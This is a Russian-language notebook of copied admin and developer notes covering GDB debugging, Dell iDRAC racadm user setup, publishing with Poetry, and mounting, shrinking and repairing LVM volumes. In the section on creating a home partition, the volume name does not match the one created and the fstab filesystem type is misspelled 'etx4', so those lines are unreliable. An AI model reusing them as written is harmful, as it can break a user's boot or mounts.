(В примере нет функции, однако шаг step-in все равно будет работать и с обычными инициализациями, условиями и циклами)



Чтобы узнать какие переменные (локальные) сейчас инициализированны в программе нужно написать комманду info locals:



(gdb) info locals
MAX_ITEMS = 10
items = {"", "", "", "", "", "", "", "", "", ""}
itemnum = 0
game = 247


Чтобы вывести только одну переменную, нужно написать print имя_переменной:



(gdb) print MAX_ITEMS 
$1 = 10


Мы можем также изменить переменную с помощью set:



(gdb) set x = 77177
(gdb) print x
$1 = 77177


Мы можем также следить за переменными с помощью watch:



watch x


Также, если нужно можно посмотреть что в данный момент находится в регистрах (info registers):



(gdb) info registers 
rax            0x7fffffffdc00   140737488346112
rbx            0xffffffffffffffff   -1
rcx            0xa0 160
rdx            0x7fffffffdd28   140737488346408
rsi            0x7fffffffdd18   140737488346392
rdi            0x7fffffffdbf0   140737488346096
rbp            0x7fffffffdc30   0x7fffffffdc30
rsp            0x7fffffffdab0   0x7fffffffdab0
r8             0x7ffff782fd80   140737345944960
r9             0x0  0
r10            0x6  6
r11            0x7ffff7b77020   140737349382176
r12            0x7fffffffdc10   140737488346128
r13            0x7fffffffdd10   140737488346384
r14            0x0  0
r15            0x0  0
rip            0x555555554cfe   0x555555554cfe <main(int, char**)+100>
eflags         0x286    [ PF SF IF ]
cs             0x33 51
ss             0x2b 43
ds             0x0  0
es             0x0  0
fs             0x0  0
gs             0x0  0


Чтобы посмотреть какие в данный момент есть breakpoints (точки останова) нужно написать info breakpoints:



(gdb) info breakpoints 
Num     Type           Disp Enb Address            What
1       breakpoint     keep y   0x0000555555554cb5 in main(int, char**) 
                                                   at ./3_Hero's_Inventory.cpp:6
    breakpoint already hit 1 time
2       breakpoint     keep y   0x0000555555554cfe in main(int, char**) 
                                                   at ./3_Hero's_Inventory.cpp:14


Чтобы удалить точку останова del breakpoint_num:



(gdb) info breakpoints 
Num     Type           Disp Enb Address            What
1       breakpoint     keep y   0x0000555555554cb5 in main(int, char**) 
                                                   at ./3_Hero's_Inventory.cpp:6
    breakpoint already hit 1 time
2       breakpoint     keep y   0x0000555555554cfe in main(int, char**) 
                                                   at ./3_Hero's_Inventory.cpp:14

(gdb) del 1

(gdb) info breakpoints 
Num     Type           Disp Enb Address            What
2       breakpoint     keep y   0x0000555555554cfe in main(int, char**) 
                                                   at ./3_Hero's_Inventory.cpp:14


Чтобы прыгнуть к следующей точке останова нужно нажать c:



(gdb) r
Starting program: /home/username77177/gitprojects/learning/cpp/build_folder/3_Hero's_Inventory.cpp 

Breakpoint 3, main (argc=1, argv=0x7fffffffdd18) at ./3_Hero's_Inventory.cpp:7
7   {
(gdb) c
Continuing.

Breakpoint 2, main (argc=1, argv=0x7fffffffdd18) at ./3_Hero's_Inventory.cpp:14
14      items[itemnum++] = "Sword";


Мы можем вызывать функции из программы (локальные) с помощью call:



(gdb) call MyFunction()


Чтобы продолжить выполнение функции и остановить программу когда она (функция) завершится нужно написать finish или fin:



(gdb) fin


Стоит уточнить, что нельзя использовать finish в главном методе.



Чтобы завершить выполнение программы, нужно написать kill:



(gdb) kill
Kill the program being debugged? (y or n) y


Также можно написать help в любой момент и получить краткую справку, как пользоваться отладчиком



(gdb) help
List of classes of commands:

aliases -- Aliases of other commands
breakpoints -- Making program stop at certain points
data -- Examining data
files -- Specifying and examining files
internals -- Maintenance commands
obscure -- Obscure features
running -- Running the program
stack -- Examining the stack
status -- Status inquiries
support -- Support facilities
tracepoints -- Tracing of program execution without stopping the program
user-defined -- User-defined commands

Type "help" followed by a class name for a list of commands in that class.
Type "help all" for the list of all commands.
Type "help" followed by command name for full documentation.
Type "apropos word" to search for commands related to "word".
Command name abbreviations are allowed if unambiguous.

взято тут
Памятка по отладке при помощи GDB
Знакомство с отладчиком gdb
Отладка с помощью GDB Отладчик GNU уровня исходного кода
Удаленная отладка в Linux при помощи связки GDB-gdbserver


https://gist.github.com/andrewspiers/10225981
racadm getconfig -g idRacInfo
racadm getconfig -g cfgUserAdmin -i 2


https://www.dell.com/community/Blades/Changing-root-user-password-from-calvin-CLI/td-p/3820129
Чтобы добавить нового пользователя в iDRAC6, выполните следующие действия:
1 Установите имя пользователя.
2 Установите пароль.
3 Установите для входа в систему права пользователя iDRAC6.
4 Включите пользователя.

racadm config -g cfgUserAdmin -o cfgUserAdminUserName -i 2 пользователь
racadm config -g cfgUserAdmin -o cfgUserAdminPassword -i 2 пароль
racadm config -g cfgUserAdmin -o cfgUserAdminPrivilege -i 2 0x000001ff
racadm config -g cfgUserAdmin -o cfgUserAdminPrivilege -i 2 0x00000001 (это только на чтение)
racadm config -g cfgUserAdmin -o cfgUserAdminEnable -i 2 1
racadm getconfig -u пользователь
racadm getconfig –g cfgUserAdmin –i 2

racadm getconfig -g idRacInfo
racadm config -g cfgUserAdmin -o cfgUserAdminPassword -i 2 пароль

В DRAC 4 первый слот индекса является корневым по умолчанию. В DRAC 5 и 6 индекс 1 является администратором , индекс 2 является корневым .
iDRAC 4:
racadm getconfig -g cfgUserAdmin -i 1

iDRAC 5 и 6:
racadm getconfig -g cfgUserAdmin -i 2


Изменение пароля для входа в систему по умолчанию с помощью RACADM
racadm set iDRAC.Users..Password

Dell PowerEdge: что такое имя пользователя и пароль по умолчанию для iDRAC?

сброс пароля с восстановлением «заводских настроек по умолчанию», выполнив команду racadm:
racadm racresetcfg -all

Сброс настроек внутреннего контроллера удаленного доступа Dell (iDRAC) на сервере PowerEdge



посмотреть
https://metanit.com/web/nodejs


https://repl.it/languages/nodejs

https://www.npmjs.com/package/web-terminal
https://github.com/krishnasrinivas/wetty

https://xtermjs.org/
https://github.com/xtermjs/xterm.js/

Node.js: разрабатываем сборщик модулей
http://espressocode.top/node-js/
Современный курс по Node.js в 2020

Как опубликовать консольную утилиту на PyPI за 1 минуту

Разработав консольную утилиту, вы решаетесь опубликовать её на PyPI. Ну правда, что может быть лучше, чем сделать её доступной через pip install? Погуглив, что для этого надо, вы, возможно, наткнётесь на единственный найденный мной пост по теме, который мало того что от 2014 года, так ещё и требует от вас создать кучу папок и файлов для совершенно ненужных (вам) вещей.



Как же решить эту задачу без лишней головной боли в 2019 году? Я уже задавался этим вопросом и поэтому, прочитав тонну документации, создал для вас этот туториал. Вот пошаговая инструкция.



1. Создайте аккаунт на PyPI (ссылка для регистрации)



2. Создайте точку входа в приложение (например, файл entry.py со следующим содержимым)



def main():
    print("It's alive!")


3. Установите poetry



curl -sSL https://raw.githubusercontent.com/sdispater/poetry/master/get-poetry.py | python
source $HOME/.poetry/env


(poetry можно установить и по-другому, например, pip install --user poetry — прим. перев.)



4. Создайте окружение



cd myproject # Перейдите в папку проекта, который будем паковать
poetry init


5. Настройте консольную команду (для этого добавьте следующие строки в появившийся файл pyproject.toml)



[tool.poetry.scripts]
APPLICATION-NAME = 'entry:main'


APPLICATION-NAME надо поменять на имя консольной команды.



6. Опубликуйте утилиту! (используйте имя пользователя и пароль из шага 1)



poetry publish --username PYPI_USERNAME --password PYPI_PASS --build


Готово! Теперь другому человеку для установки достаточно всего двух команд:



$ sudo pip install PROJECT-NAME
$ APPLICATION-NAME


Где PROJECT-NAME — это имя, которое вы дали проекту на шаге 4, а APPLICATION-NAME — это имя команды из шага 5.






Обновление версии



Всякий раз, когда вы хотите обновить модуль, просто измените номер версии в файле pyproject.toml:



version = "0.1.0"


И повторите шаг 6:



poetry publish --username PYPI_USERNAME --password PYPI_PASS --build





Бонус: настраиваем Travis для авто-публикации



Добавьте следующие строки в файл .travis.yml



language: python
dist: xenial
before_install:
  - curl -sSL https://raw.githubusercontent.com/sdispater/poetry/master/get-poetry.py | python
  - source $HOME/.poetry/env
install:
  - poetry install
script:
  - poetry build
deploy:
  - provider: script
    skip_cleanup: true
    script: poetry publish --username $PYPI_USER --password $PYPI_PASS
    on:
      branch: master
      python: '3.7'
      tags: true


И установите переменные окружения PYPI_USER и PYPI_PASS на travis-ci.com. После этого можно будет публиковать пакет с помощью команд:



git tag -a v1.2 # Replace version number with yours
git push --tags

Poetry: новый менеджер зависимостей в Python
В последнее время в экосистеме Python часто стали появляться инструменты для управления зависимостями. Оно понятно, стандартный pip уже не отвечает современным требованиям: неудобная работа с зависимостями, много ручной работы при подготовке пакетов, проблемы при установке и обновлении и много чего другого.

С недавних пор я начал использовать новый менеджер под названием Poetry. Именно о нём сегодня пойдёт речь.


Функциональные возможности Poetry:



  • Управление зависимостями через toml файл (прощай, requirements.txt)

  • Автоматическое создание изолированного виртуального окружения Python (теперь не нужно для этого вызывать virtualenv)

  • Удобное создание пакетов (отныне не нужно копипастить создавать setup.py каждый раз)

  • poetry.lock файл для фиксирования версий зависимостей


А особенно радует тандем при работе с pyenv. О pyenv я писал три года назад.




Установка


Исходный код проекта лежит на github. Для установки необходимо выполнить команду:






curl -sSL https://raw.githubusercontent.com/sdispater/poetry/master/get-poetry.py | python

Если установка прошла успешно, то убедиться в этом можно вызвав:


$ poetry --version
Poetry 0.12.8

Стартуем!


Создаём новый проект my-demo-project:


$ poetry new my-demo-project

Заходим в папку:


$ cd my-demo-project/
~/my-demo-project$ ls
README.rst my_demo_project pyproject.toml tests

Poetry автоматически создал все необходимые файлы для будущего пакета, но наибольший интерес представляет файл с названием pyproject.toml, этот файл можно рассматривать как продвинутую альтернативу старичку requirements.txt. Взглянем на содержимое:


[tool.poetry]
name = "my-demo-project"
version = "0.1.0"
description = ""
authors = ["Your Name you@example.com"]

[tool.poetry.dependencies]
python = "^3.6"

[tool.poetry.dev-dependencies]
pytest = "^3.0"

[build-system]
requires = ["poetry>=0.12"]
build-backend = "poetry.masonry.api"

Формат файла TOML. Раздел tool.poetry предназначен для описания проекта: название, версия, краткая информация о проекте и т.д. Далее следует tool.poetry.dependencies, именно здесь будут указаны все production зависимости. Их можно указать вручную (привет, requirements.txt), но мы так делать не будем (привет, npm!). Раздел tool.poetry.dev-dependencies предназначен для зависимостей во время разработки (привет, pytest, tox!)


Добавляем зависимости


Давайте добавим к проекту зависимость в виде Luigi.


~/my-demo-project$ poetry add luigi==2.8.0

Creating virtualenv my-demo-project-py3.6 in /home/user/.cache/pypoetry/virtualenvs
Updating dependencies
Resolving dependencies... (24.1s)

Package operations: 12 installs, 0 updates, 0 removals

Writing lock file
  - Installing docutils (0.14)
  - Installing lockfile (0.12.2)
  - Installing six (1.11.0)
  - Installing atomicwrites (1.2.1)
  - Installing attrs (18.2.0)
  - Installing more-itertools (4.3.0)
  - Installing pluggy (0.8.0)
  - Installing py (1.7.0)
  - Installing python-daemon (2.1.2)
  - Installing tornado (4.5.3)
  - Installing luigi (2.8.0)
  - Installing pytest (3.10.1)

Обратите внимание, что Poetry автоматически создал виртуальное окружение через virtualenv при добавлении пакета (т.к. ранее оно не было создано). Все окружения находятся по пути ~/.cache/pypoetry/virtualenvs


Если снова открыть pyproject.toml, то можно увидеть новую запись в разделе зависимостей:


[tool.poetry.dependencies]
python = "^3.6"
luigi = "=2.8.0"

Всю "грязную" работу за нас делает Poetry. Чтобы добавить зависимость для разработки достаточно указать флаг —dev:


$ poetry add tox --dev

Using version ^3.5 for tox
Updating dependencies
Resolving dependencies... (6.3s)
Package operations: 4 installs, 0 updates, 0 removals

Writing lock file
  - Installing filelock (3.0.10)
  - Installing toml (0.10.0)
  - Installing virtualenv (16.1.0)
  - Installing tox (3.5.3)

Смотрим содержимое pyproject.toml ещё раз:


[tool.poetry.dev-dependencies]
pytest = "^3.0"
tox = "^3.5"

Чтобы удалить зависимость нужно выполнить:


~/my-demo-project$ poetry remove luigi

Сборка пакета


Отныне забудьте про головную боль с ручным созданием setup.py, прописыванием туда всех зависимостей и запоминанием команд для сборки через pip. Всё стало в разы проще. Чтобы собрать python пакет выполните:


~/my-demo-project$ poetry build

Building my-demo-project (0.1.0)
 - Building sdist
 - Built my-demo-project-0.1.0.tar.gz
 - Building wheel
 - Built my_demo_project-0.1.0-py3-none-any.whl

В папке dist будут сформированы пакеты. Чтобы поделиться своим творением с другими разработчиками, например через pypi, выполните:


~/my-demo-project$ poetry publish

Окружение


Для активации виртуального окружения необходимо выполнить команду:


~/my-demo-project$ poetry shell

Вывод


Проект Poetry появился 28 февраля 2018 года, последняя версия 0.12.8. Инструмент молодой, но перспективный и быстроразвивающийся. Уже сейчас он на голову выше старичка pip и по функциональным возможностям и по удобству использования. Советую вам его попробовать и поделиться мнением в комментариях к этой статье. За более подробной информацией об инструменте советую заглянуть на сайт с документацией.



дополнительно
https://ru.hexlet.io/blog/posts/olimpiada-razvitie
https://habr.com/ru/articles/740376/
https://habr.com/ru/articles/593529/

Для установки утилит: Используйте pipx
Если вам нужно установить какую-то программу (например, black, flake8, youtube-dl), чтобы она была доступна везде, используйте pipx. Он сам создаст окружение для приложения.
sudo apt update
sudo apt install pipx
pipx ensurepath
# После этого устанавливайте пакеты так:
pipx install название_пакета

pipx ensurepath
source ~/.bashrc

poetry init
poetry new project_name
poetry shell

pyenv local 3.9.4
poetry env use python3.9

Удалить текущее окружение:
rm -rf .venv # если оно в папке проекта
# ИЛИ через poetry:
poetry env remove python

Список всех окружений проекта:
poetry env list

Удалить конкретное окружение из списка:
poetry env remove название-из-списка

poetry show --tree

mkdir
poetry install

poetry env info --path

libxml2-python = { git = "https://github.com/GNOME/libxml2", branch="2.15", subdirectory = "python" }

my-project/
├── pyproject.toml
└── my_project/ <-- папка с именем как в поле name
└── __init__.py <-- пустой файл

pyproject.toml
[tool.poetry]
packages = [{include = "src"}]

# ветка и папка
libxml2-python = { git = "https://github.com/GNOME/libxml2", branch="2.15", subdirectory = "python" }

[tool.poetry.dependencies]
python = "^3.10"
# Имя пакета должно совпадать с тем, что указано в setup.py внутри этой папки
libxml2-python = { path = "libs/libxml2/python", develop = true }


«Я не создаю библиотеку, мне нужны только зависимости».
[tool.poetry]
name = "your-project-name"
version = "0.1.0"
description = ""
authors = ["Your Name <you@example.com>"]
package-mode = false # <-- ДОБАВЬТЕ ЭТУ СТРОКУ

Быстрый способ (через флаг)
Если вы не хотите менять конфиг, просто запускайте установку так:
poetry install --no-root
Флаг --no-root говорит Poetry установить все библиотеки из списка, но пропустить установку текущего проекта в виртуальное окружение.



https://pypi.org/project/poetry/
https://poetry.eustace.io/docs/
Goodbye Virtual Environments?



Монтирование LVM-based томов (LVM-in-LVM)
Задача:
добраться до данных в этих разделах с родительской машины.

Дано:
виртуальная машина на LVM-разделе /dev/mapper/vol-centos1
внутри неё имеются разделы /boot, / и swap, причем / и swap на LVM

для начала посмотрим что из себя представляет /dev/mapper/vol-centos1:
# kpartx -l /dev/mapper/vol-centos1
vol-centos1p1: 0 1024000 /dev/loop0 2048
vol-centos1p2: 0 15751168 /dev/loop0 1026048
и замяпим разделы:
# kpartx -a /dev/mapper/vol-centos1
после этого в /dev/mapper у нас появятся два раздела
vol-centos1p1 vol-centos1p2

Первый раздел vol-centos1p1 (/boot) нас не интересует, мы можем его хоть сейчас примонтировать. Нас интересует второй раздел vol-centos1p2, в котором находятся / и swap.
просканируем и увидем LVM-тома:
# lvm pvscan
PV /dev/mapper/vol-centos1p2 VG VolGroup lvm2 [7.51 GiB / 0 free]
Total: 1 [7.51 GiB] / in use: 1 [7.51 GiB] / in no VG: 0 [0 ]

теперь нам необходимо активировать LVM-тома, что бы добраться до них, делаем:
# lvm vgchange -a y
2 logical volume(s) in volume group «VolGroup» now active

в /dev/mapper появятся еще два раздела
vol-centos1p1 vol-centos1p2 VolGroup-lv_root VolGroup-lv_swap

вот теперь мы спокойно можем примонтировать раздел VolGroup-lv_root и удобно работать с ним:
# mount /dev/mapper/VolGroup-lv_root /mnt

После работы, надо все вернуть на круги своя.
отмонтируем # umount /dev/mapper/VolGroup-lv_root
деактивируем LVM-тома # lvm vgchange -a n VolGroup
удаляем маппинг # kpartx -d /dev/mapper/vol-centos1

Монтирование LVM томов (CentOS)
root@debian:~# fdisk -l /dev/sda
Disk /dev/sda: 6 GiB, 6442450944 bytes, 12582912 sectors
Disk model: QEMU HARDDISK
Units: sectors of 1 * 512 = 512 bytes
Sector size (logical/physical): 512 bytes / 512 bytes
I/O size (minimum/optimal): 512 bytes / 512 bytes
Disklabel type: dos
Disk identifier: 0x000c434c

Device Boot Start End Sectors Size Id Type
/dev/sda1 * 2048 2099199 2097152 1G 83 Linux
/dev/sda2 2099200 12582911 10483712 5G 8e Linux LVM

диск обычный
root@debian:~# parted /dev/sda1 print
Model: Unknown (unknown)
Disk /dev/sda1: 1074MB
Sector size (logical/physical): 512B/512B
Partition Table: loop
Disk Flags:

Number Start End Size File system Flags
1 0,00B 1074MB 1074MB xfs

диск с LVM
root@debian:~# parted /dev/sda2 print
Error: /dev/sda2: unrecognised disk label
Model: Unknown (unknown)
Disk /dev/sda2: 5368MB
Sector size (logical/physical): 512B/512B
Partition Table: unknown
Disk Flags:

Если вы попытаетесь смонтировать LVM так же, как вы это делаете с другими стандартными разделами Linux, у вас ничего не получится.

root@debian:~# mount /dev/sda2 /mnt
mount: /mnt: unknown filesystem type 'LVM2_member'.

Чтобы смонтировать раздел, сначала определите группу томов, содержащуюся в /dev/sda2:

root@debian:~# lvm pvscan
PV /dev/sda2 VG centos lvm2 [<5,00 GiB / 0 free]
Total: 1 [<5,00 GiB] / in use: 1 [<5,00 GiB] / in no VG: 0 [0 ]

root@debian:~# vgscan
Reading volume groups from cache.
Found volume group "centos" using metadata type lvm2

root@debian:~# lvscan
inactive '/dev/centos/swap' [616,00 MiB] inherit
inactive '/dev/centos/root' [4,39 GiB] inherit

root@debian:~# pvs
PV VG Fmt Attr PSize PFree
/dev/sda2 centos lvm2 a-- <5,00g 0

root@debian:~# lvdisplay /dev/centos
--- Logical volume ---
LV Path /dev/centos/swap
LV Name swap
VG Name centos
LV UUID wjDWlO-4ipJ-8w3g-xx7v-AvaS-lk8s-duwIiG
LV Write Access read/write
LV Creation host, time localhost, 2018-08-12 11:47:26 +0000
LV Status available
# open 0
LV Size 616,00 MiB
Current LE 154
Segments 1
Allocation inherit
Read ahead sectors auto
- currently set to 256
Block device 254:0

--- Logical volume ---
LV Path /dev/centos/root
LV Name root
VG Name centos
LV UUID c2DUKp-zXmb-ecIO-R26b-m477-3NXc-6dPwz8
LV Write Access read/write
LV Creation host, time localhost, 2018-08-12 11:47:26 +0000
LV Status available
# open 0
LV Size 4,39 GiB
Current LE 1125
Segments 1
Allocation inherit
Read ahead sectors auto
- currently set to 256
Block device 254:1


необходимо активировать LVM-тома, что бы добраться до них
root@debian:~# lvm vgchange -a y
2 logical volume(s) in volume group "centos" now active

проверяю
root@debian:~# ls /dev/mapper/
centos-root centos-swap control

swap мне не нужен, монтирую /dev/centos/root
root@debian:~# mount /dev/centos/root /mnt

после работы нужно не забыть отмонтировать
root@debian:~# umount /dev/centos/root

деактивируем LVM-тома
root@debian:~# lvm vgchange -a n centos
0 logical volume(s) in volume group "centos" now active
root@debian:~# ls /dev/mapper/
control


Изменение размера дисков LVM
http://xgu.ru/wiki/LVM
https://github.com/storaged-project/blivet-gui/wiki
Уменьшение виртуального диска с LVM
Как использовать LVM для управления устройствами хранения в Ubuntu 18.04
Как я могу изменить размер раздела LVM? (то есть: физический объем)
Как уменьшить корневой раздел XFS на LVM
Linux: LVM — уменьшить home, увеличить root
Расширение диска на Linux (LVM, классическая разметка)
Повесть о Linux и LVM (Logical Volume Manager).
КАК УВЕЛИЧИТЬ LVM РАЗДЕЛ В CENTOS 7
Как увеличить LVM раздел в CentOS 7
Расширение LVM диска (без изменения его структуры)
Изменение размера дисков LVM


Уменьшение размера раздела диска в Linux
Статья содержит информацию о способе уменьшения размера раздела диска, созданного посредством системы управления томами LVM и отформатированного в файловую систему ext4
Замечание: строго говоря, во всем запускаемых далее утилитах используется одна и та же единица измерения — «мебибайт» (за исключением «parted», использующей «мегабайт»), которую, тем не менее, мы по привычке будем называть «мегабайт»

  • скачиваем загрузочный диск Gparted, выполняем с него загрузку системы и запускаем утилиту «Terminal»

  • определяем имя интересующего нас логического раздела LVM (параметр «LV Path»)

  • sudo lvdisplay

  • подключаем раздел

  • sudo mount /dev/some-vg/root /mnt

  • просматриваем объем занятого пространства файловой системы раздела

  • sudo df -h

  • отключаем раздел

  • sudo umount /dev/some-vg/root

  • проверяем файловую систему

  • sudo e2fsck -vf /dev/some-vg/root

    Замечание: v — вывод подробных сообщений, f — выполнить проверку, даже если файловая система помечена, как не содержащая ошибок

  • уменьшаем размер файловой системы
    sudo resize2fs -p /dev/some-vg/root 3000M

    Замечание: p — отображать прогресс выполнения каждого этапа

  • уменьшаем размер раздела; в качестве нового размера указываем РАЗМЕР_ФАЙЛОВОЙ_СИСТЕМЫ + 1

  • lvreduce /dev/some-vg/root —size 3001M

  • проверяем, что в процессе уменьшения размера раздела никакие данные не были повреждены; для этого пробуем увеличить размер файловой системы до максимально возможного, в результате чего он должен вырасти на 1 МБ

  • sudo resize2fs /dev/some-vg/root

  • определяем имя интересующего нас физического раздела LVM (параметр «PV Name»)

  • sudo pvdisplay

  • выводим информацию о распределении выделенных физических областей по разделу

  • sudo pvs —verbose —segments /dev/sda5

  • перемещаем выделенные физические области так, чтобы между ними не было свободного пространства

  • sudo pvmove —alloc anywhere /dev/sda5:2370-2497

  • уменьшаем размер раздела; в качестве нового размера указываем ОБЪЕМ_ЗАНЯТЫХ_ОБЛАСТЕЙ (параметр «Allocated PE») * РАЗМЕР_ОБЛАСТИ (параметр «PE Size») + 1

  • sudo pvresize /dev/sda5 —setphysicalvolumesize 3517M

    Замечание: если указать слишком маленькое значение, ничего страшного не произойдет — утилита просто сообщит, что новый размер меньше объема занятого пространства

  • запускаем parted для интересующего нас диска

  • sudo parted /dev/sda

  • устанавливаем в качестве единиц измерения по умолчанию — мебибайты

  • unit MiB

  • просматриваем таблицу разделов

  • print free

  • уменьшаем размер логического раздела, при этом конец раздела вычисляем так: НАЧАЛО_РАСШИРЕННОГО_РАЗДЕЛА + ОБЪЕМ_ЗАНЯТЫХ_ОБЛАСТЕЙ * РАЗМЕР_ОБЛАСТИ + ОБЪЕМ_НЕИСПОЛЬЗУЕМОГО_ПРОСТРАНСТВА (параметр «PV Size» после знака «/») + 2

  • resizepart 5 3764MiB

    Замечание: перед выполнением операции нужно повторно просмотреть объем неиспользуемого пространства физического раздела LVM

  • проверяем, что в процессе уменьшения размера раздела никакие данные не были повреждены; для этого пробуем увеличить размер физического раздела LVM до максимально возможного, в результате чего объем неиспользуемого пространства должен вырасти на 1МБ

  • sudo pvresize /dev/sda5

  • уменьшаем размер расширенного раздела до размера логического раздела

  • resizepart 2 3764MiB


Уменьшение размера LVM раздела в Centos

Решение

Перед изменением размера раздела его необходимо отмонтировать, но
учитывая что редактировать нам надо корневой раздел, лучше загрузится с
LiveCD/LiveDVD или с установочного диска в режиме rescue (для этого выбрать соответствующий пункт меню загрузки с диска).

При работе с rescue-диска, к командам LVM надо впереди добавять lvm, либо выполнять их из встроенного интерпретатора lvm:


# lvm pvs
либо
# lvm
lvm> pvs

Проверяем, определился или нет, системой наша LVM группа.


# pvs
  PV         VG         Fmt  Attr PSize   PFree  
  /dev/sda1  VolGroup   lvm2 a-   100,00g      0

# vgs
  VG         #PV #LV #SN Attr   VSize   VFree  
  VolGroup   1   2   0   wz--n- 100,00g      0

# lvs
  LV         VG         Attr   LSize   Origin Snap%  Move Log Copy%  Convert
  lv_root    VolGroup   -wi-a-  98,00g
  lv_swap    VolGroup   -wi-a-   2,00g

lvreduce урезает размер LVM раздела. Работает она
следующим образом, параметр -L указывает на изменение размера раздела,
здесь же есть 2 варианта: указание размера и относительное значение, со
знаком + или -. Например, -L 83G урежет размер до 83G(то бишь lvm_root станет 83Gb вместо 98Gb), соответственно -L -15G или -L +15G уменьшит или увеличит размер на указанный (lvm_root станет 98G минус 15G или 98G плюс 15G).

Итак, нам надо уменьшить размер раздела следующей командой:


# lvreduce -r -L -15G /dev/Volgroup/lv_root



Наличие опции -r указывает, что надо также изменить размер файловой системы, без неё данные будут утеряны.


Успешность выполнения команды lvreduce проверяется просмотром свободного места в VolGroup.


# vgs

Свободного места должно быть 83G.




Создаём новый раздел для директории home


 lvcreate -L 83GB -n lv_home VolGroup 

и файловую систему на нём.


 mkfs.ext4 -L home /dev/VolGroup/lvm_home

Добавляем запись о разделе в файл /etc/fstab


 /dev/VolGroup/lvm_home  /home   etx4 defaults 1 2 



Перенести всю информацию из директории /home относительно
раздела / (корневого раздела) в /home вновь созданого раздела (он будет
пустой, если не считать системной директории lost+found)



Для этого:


  • создаём папки к которым будут смотрированы разделы

mkdir /mnt/{root,home}

  • монтируем

mount -t ext4 /dev/VolGroup/lv_root /mnt/root
mount -t ext4 /dev/VolGroup/lv_home /mnt/home

  • перемещаем информацию

mv -v /mnt/root/home /mnt/home

загружаем нашу ОС и проверяем логические разделы LVM


lvdisplay
  --- Logical volume ---
  LV Name                /dev/VolGroup/lv_root
  VG Name                VolGroup
       .....
  LV Size                15,00 GiB
       .....
   
  --- Logical volume ---
  LV Name                /dev/VolGroup/lv_home
  VG Name                VolGroup
       .....
  LV Size                83,00 GiB
       .....
   
  --- Logical volume ---
  LV Name                /dev/VolGroup/lv_swap
  VG Name                VolGroup
       .....
  LV Size                2,00 GiB









увеличить размер диска LVM
1. Посмотри, сколько свободно в VG
vgdisplay ubuntu-vg
Там будет строка типа Free PE / Size, например 147.00 GiB.

2. Увеличь ubuntu-lv на всё доступное пространство
lvextend -l +100%FREE /dev/ubuntu-vg/ubuntu-lv
Это увеличит размер logical volume ubuntu-lv на всё свободное место в ubuntu-vg.

3. Расширь файловую систему
Если у тебя ext4:
resize2fs /dev/ubuntu-vg/ubuntu-lv
Если у тебя xfs:
xfs_growfs /
Можно выполнить даже на живой системе, если / смонтирован и используется.

отремонтировать диск LVM
Как отремонтировать диск LVM с помощью fsck

1. Проверка и исправление диска LVM без шифрования с помощью fdisk
Для проверки LVM используйте следующие шаги.
Для начала проверяем разметку дисков с lsblk:

lsblk

Пример вывода:
NAME                 MAJ:MIN RM   SIZE RO TYPE  MOUNTPOINT
sda                    8:0    0    20G  0 disk  
└─sda1                 8:1    0    20G  0 part  
  └─xubuntu--vg-root 253:0    0    19G  0 lvm   / 
sr0                   11:0    1  1024M  0 rom

Как можно увидеть, LVM назван xubuntu--vg-root, но мы не можем запустить fsck на это имя, так как команда не найдёт его. Нам нужно получить полное имя, для этого нужно запустить команду lvm lvscan для получения LV имени с которым мы можем запустить fsck на LVM.

Следующая команда должна запускаться с повышенными правами (с sudo или как root):

lvscan

Пример вывода:
inactive          '/dev/xubuntu-vg/root' [<19.04 GiB] inherit
inactive          '/dev/xubuntu-vg/swap_1' [980.00 MiB] inherit

Как можно увидеть, имя диска который нужно проверить на ошибки это /dev/xubuntu-vg/root, оно должно подойти для запуска fsck на этом имя.
Если /dev/xubuntu-vg/root не ACTIVE, нужно сделать его активным чтобы мы могли запустить его проверку.

lvchange -ay /dev/xubuntu-vg/root

Теперь это должно выглядеть примерно так:

sudo lvscan
  ACTIVE            '/dev/xubuntu-vg/root' [<19.04 GiB] inherit
  inactive          '/dev/xubuntu-vg/swap_1' [980.00 MiB] inherit

Теперь можно запустить fsck для проверку тома LVM:

fsck /dev/xubuntu-vg/root

или запустить форсированную проверку с автоматическим исправлением ошибок:

fsck -fy /dev/xubuntu-vg/root

2. Исправление LVM с шифрованием
Поиск корневого раздела:
sudo fdisk -l

Расшифровываем раздел.
sudo cryptsetup open --type luks /dev/nvme0n1p3 nvme0n1p3_crypt

Внимание: замените /dev/nvme0n1p3 на ваш собственный диск
замените "nvme0n1p3_crypt" на корректное имя раздела для вашей установки, вы можете его узнать запустив следующее в chroot:
cat /etc/crypttab | cut -f1 -d " "

Пример вывода:
nvme0n1p3_crypt

Монтирование корневого раздела
sudo vgscan
sudo vgchange -ay
sudo mount /dev/mapper/xubuntu--vg-root /mnt

Подготовка окружения chroot:
sudo mount /dev/nvme0n1p2 /mnt/boot/ # замените nvme0n1p2 на ваш загрузочный раздел!
sudo mount -o rbind /dev/ /mnt/dev/
sudo mount -t proc proc /mnt/proc/
sudo mount -t sysfs sys /mnt/sys/

Делаем так, чтобы в chroot работал DNS:
sudo cp /etc/resolv.conf /mnt/etc/resolv.conf

Входим в chroot:
sudo chroot /mnt /bin/bash

Переустанавливаем отсутствующие пакеты:
apt install cryptsetup lvm2

Заново генерируем (это может быть выполнено командой apt на предыдущем шаге — если это уже было сделано, то пропустите):
update-initramfs -u -k all

Покидаем среду chroot:
exit

Записываем буфер на диск:
sudo sync

Размонтируем файловые системы:
sudo umount /mnt/sys
sudo umount /mnt/proc
sudo umount /mnt/boot






Объемы данных в современных системах растут с каждым днем и тот объем, который еще вчера считался достаточным, сегодня уже не способен удовлетворить текущие требования. Также дешевеют носители данных, особенно это касается твердотельных накопителей, что рано или поздно поставит администратора перед необходимостью апгрейда дисковой подсистемы. Но как быть, если вы используете программный RAID в Linux? В этой статье мы рассмотрим наиболее часто встречающийся сценарий с заменой дисков на более емкие и расширением объема массива.


Несмотря на то, что в качестве примера мы использовали Debian 9 все нижеизложенное будет справедливо для любого базирующегося на Debian дистрибутиве, а с небольшими поправками (там, где касается установки загрузчика) для любой Linux-системы.


По условиям задачи в нашем распоряжении есть виртуальная машина, в которой на двух дисках собраны два RAID1 для корневого раздела и подкачки, диски являются загрузочными. Мы специально выбрали такую конфигурацию, чтобы охватить все возможные сценарии и показать общие принципы работы с программным RAID при его расширении. При этом используемая конфигурация не является оптимальной или рекомендуемой, мы создали ее сугубо в образовательных целях.


Итак, у нас в системе используются два виртуальных жестких диска объемом 20 ГБ которые мы хотим заменить на новые виртуальные диски объемом в 30 ГБ желательно без существенного простоя системы.


